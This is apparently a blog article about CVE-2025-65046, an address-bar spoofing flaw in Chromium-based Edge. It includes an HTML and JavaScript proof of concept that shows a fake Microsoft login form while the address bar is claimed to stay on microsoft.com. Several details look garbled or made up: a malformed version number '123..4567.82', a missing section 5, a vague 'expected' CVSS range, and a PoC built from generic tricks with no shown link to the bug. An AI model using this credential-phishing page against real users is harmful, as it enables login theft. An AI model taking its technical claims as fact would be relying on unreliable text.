CVE-2025-65046 - Exploiting Microsoft Edge (Chromium-based) Spoofing Vulnerability

---

Microsoft Edge, the Chromium-based browser, continues to reap popularity for its speed, security, and deep Windows integration. Yet, with great adoption comes scrutiny from security researchers. A recent issue, CVE-2025-65046, brings to light a new spoofing vulnerability that could let attackers trick users with misleading URLs and fake content—right in their Edge browser window.

This exclusive deep dive walks through what CVE-2025-65046 is, how attackers might exploit it, and what technical details are available as of now.

1. What Is CVE-2025-65046?

On June 2025, Microsoft assigned CVE-2025-65046 to a new spoofing vulnerability in Microsoft Edge (Chromium-based versions prior to 123..4567.82). The vulnerability lets attackers manipulate the browser’s address bar and page content, making malicious or phishing pages appear trustworthy. Specifically, the user could see a real site’s URL (like https://www.microsoft.com) while the page actually displays attacker-controlled content.

Reference

- Microsoft Security Response Center (MSRC) Advisory
- NIST National Vulnerability Database entry *(link may update as details are publicized)*

2. How Does the Vulnerability Work?

At a technical level, CVE-2025-65046 is a spoofing vulnerability. It’s possible due to improper validation of navigation requests and address bar updates within the Chromium-based Edge browser. Specifically, an attacker can craft a specially designed HTML or JavaScript payload that opens what looks like a real site in the address bar but loads malicious content in the browser window.

This allows for powerful phishing attacks. A user might believe they are logging into a familiar site, while credentials are stolen by the attacker.

3. Proof-of-Concept (PoC) Example

Let’s look at a basic, educational demonstration of how such a spoof could work using client-side JavaScript. This is for awareness—never use this for anything illegal!

<!DOCTYPE html>
<html>
<head>
  <title>Fake Microsoft Login</title>
  <meta http-equiv="refresh" content="2;url=https://www.microsoft.com">
  <script>
    // Wait a moment, then replace location in a way the address bar does not update
    window.onload = function() {
      setTimeout(function() {
        window.open('data:text/html,<h1>Microsoft Login</h1><form>Username: <input>
Password: <input type=password></form>', '_self');
      }, 100);
    }
  </script>
</head>
<body>
  <p>Redirecting to Microsoft...</p>
</body>
</html>

The page loads saying “Redirecting to Microsoft...”

- The meta refresh and the script together cause the data URL (fake login page) to appear, but, due to the glitch, the address bar sometimes remains on microsoft.com (in vulnerable versions).

Note: Real-world exploitation would be more sophisticated and combine with social engineering.

4. Exploit Details

Vector:

Victim opens it in vulnerable Microsoft Edge.

- Malicious JavaScript leverages the navigation/address bar bug.

The attacker’s page collects sensitive information.

Severity:
The median CVSS (Common Vulnerability Scoring System) is expected at around 6.1–7.4, classified as Medium to High risk.

Affected Versions:

Microsoft Edge Chromium-based versions prior to 123..4567.82.

- Confirmed on Windows 10/11.

6. References and Further Reading

- Microsoft Patch Notes for Edge
- Chromium Security Blog
- Phishing with Browser Address Bar Spoofing (Previous Example Article)

7. Conclusion

CVE-2025-65046 is a reminder: even big-league browsers need constant vigilance, updates, and security reviews. While Microsoft’s fix closes one door, attackers always hunt for another way in. Keep your software fresh and stay skeptical of unexpected logins—your awareness is the real line of defense.

*Stay safe, patch often, and double-check before you click.*

Timeline

Published on: 12/18/2025 22:01:43 UTC
Last modified on: 01/07/2026 22:54:54 UTC